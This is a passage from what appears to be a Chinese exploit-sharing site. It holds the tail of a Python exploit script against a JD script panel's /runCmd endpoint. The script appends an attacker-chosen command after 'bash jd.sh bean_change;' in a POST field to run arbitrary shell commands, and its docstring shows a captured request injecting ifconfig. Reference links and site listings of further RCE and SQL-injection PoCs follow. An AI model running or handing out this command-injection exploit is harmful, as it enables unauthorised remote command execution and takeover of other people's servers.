    ''' POST form looks like
    POST /runCmd HTTP/1.1
    Host: XXX.XXX.XXX.XXXX:5678
    Content-Length: 51
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc
    Connection: close

    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&delay=1000
    '''
    headers = {
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    datas = {
        "cmd":"bash+jd.sh+bean_change;"+command+";",
        "delay":"1000"
    }
    response = session.post(url+"runCmd",data=datas,headers=headers)
    # print(session.cookies)
    objectResponse = json.loads(response.text)
    # print(objectResponse)
    if objectResponse["err"] == 0:
        print("execute success","\n")
        print(objectResponse)
        print("$ "+command)
        for line in objectResponse["msg"].split("\n"):
            print(line)
    else:
        print("execute failure")
        raise RuntimeError("Can't execute --> "+objectResponse["msg"])

if __name__ == "__main__" :
    parser = argparse.ArgumentParser(description='this is the EXP of JD fuck')
    parser.add_argument("-u",metavar="url",type=str,help="url there, e.g: http://127.0.0.1:5678/")
    parser.add_argument("-c",metavar="command",type=str,help="execute command, e.g: ls")
    # print(sys.argv[1:])
    args = vars( parser.parse_args(sys.argv[1:]) )
    url = args["u"]
    command = args["c"]
    exploit(url,login(url),command)
==參考==

https://www.secquan.org/Discuss/1071932#reply3

https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA

https://github.com/Esonhugh/JD-Freefuckfucker

© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
漏洞库
喜欢就支持一下吧
点赞0赞赏 分享
棉花糖的头像-棉花糖会员站糖心会员
会员必看手册（1.8.6版本 25.12.1更新）-棉花糖会员站
会员必看手册（1.8.6版本 25.12.1更新）
会员必看手册（1.8.6版本 25.12.1更新）
2025年12月1日 3.7W+
mingdon 明动 burp插件0.2.6版本 本地时间校验去除版-棉花糖会员站
mingdon 明动 burp插件0.2.6版本 本地时间校验去除版
mingdon 明动 burp插件0.2.6版本 本地时间校验去除版
2025年7月3日 1.4W+
独家!超强代码审计工具上线！免费会员等你来嫖！-棉花糖会员站
独家!超强代码审计工具上线！免费会员等你来嫖！
独家!超强代码审计工具上线！免费会员等你来嫖！
2024年12月17日 8532
2025 hw 有poc的漏洞集合-棉花糖会员站
2025 hw 有poc的漏洞集合
2025 hw 有poc的漏洞集合
2025年7月31日 6167
技术文章投稿兑换会员规则-棉花糖会员站
技术文章投稿兑换会员规则
技术文章投稿兑换会员规则
2024年3月25日 4552
王老师src真正的完整版（49个学生分享视频版本）-棉花糖会员站
王老师src真正的完整版（49个学生分享视频版本）
王老师src真正的完整版（49个学生分享视频版本）
2024年6月8日 3706
相关推荐
2025 hw 有poc的漏洞集合-棉花糖会员站
2025 hw 有poc的漏洞集合
2025 hw 有poc的漏洞集合
2025年7月31日 6167
金蝶EAS autoLogin.jsp远程代码执行-棉花糖会员站
金蝶EAS autoLogin.jsp远程代码执行
金蝶EAS autoLogin.jsp远程代码执行
2025年7月4日 2399
百度网盘Windows客户端存在远程命令执行-棉花糖会员站
百度网盘Windows客户端存在远程命令执行
百度网盘Windows客户端存在远程命令执行
2025年9月4日 2275
大华 evo-runs/v1.0/receive RCE-棉花糖会员站
大华 evo-runs/v1.0/receive RCE
大华 evo-runs/v1.0/receive RCE
2025年7月11日 1952
wps 远程代码执行 rce-棉花糖会员站
wps 远程代码执行 rce
wps 远程代码执行 rce
2025年7月18日 1791
爱数AnyShare智能内容管理平台 start_service 存在远程命令执行-棉花糖会员站
爱数AnyShare智能内容管理平台 start_service 存在远程命令执行
爱数AnyShare智能内容管理平台 start_service 存在远程命令执行
2025年7月4日 1684
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容

作者
用户封面
棉花糖的头像-棉花糖会员站糖心会员
CVE-2025-55182 dify 无条件rce
会员手册版本更新（恢复md5解密功能）
天地伟业Easy7 queryUserbyDesc 存在SQL注入
XWiki Platform 文件读取 (CVE-2025-55749)
安全渗透测试报告模板.doc
普华科技PowerPms ForgotPassword 存在sql注入
最近一周热门文章

1会员必看手册（1.8.6版本 25.12.1更新）

棉花糖的头像-棉花糖会员站糖心会员2025年12月1日
3.7W+

2会员手册版本更新（恢复md5解密功能）

棉花糖的头像-棉花糖会员站糖心会员2025年12月5日
805

3普华科技PowerPms ForgotPassword 存在sql注入

棉花糖的头像-棉花糖会员站糖心会员2025年12月3日
9999752

4无境靶场练习：win11通关vulntarget-b

ll_12345的头像-棉花糖会员站糖心会员2025年12月1日
733

5CVE-2025-55182 dify 无条件rce

棉花糖的头像-棉花糖会员站糖心会员2025年12月5日
702

6XWiki Platform 文件读取 (CVE-2025-55749)

棉花糖的头像-棉花糖会员站糖心会员2025年12月4日
9999701
标签云
龙浏览器未引用的服务路径特权升级齿轮地理位置查询鼠标鼠标按钮命令注入远程鼠标远程代码执行鼠标远程代码鼠标路径遍历鼠标本地文件包含鼠标未引用的服务路径鼠标事件状态栏鼠标默认错误页面跨站点脚本默认配置远程代码执行默认管理员凭据默认的调制解调器上的密码硬件远程默认权限默认权利默认弱密码编码默认密码默认安全性硬件远程默认和弱加密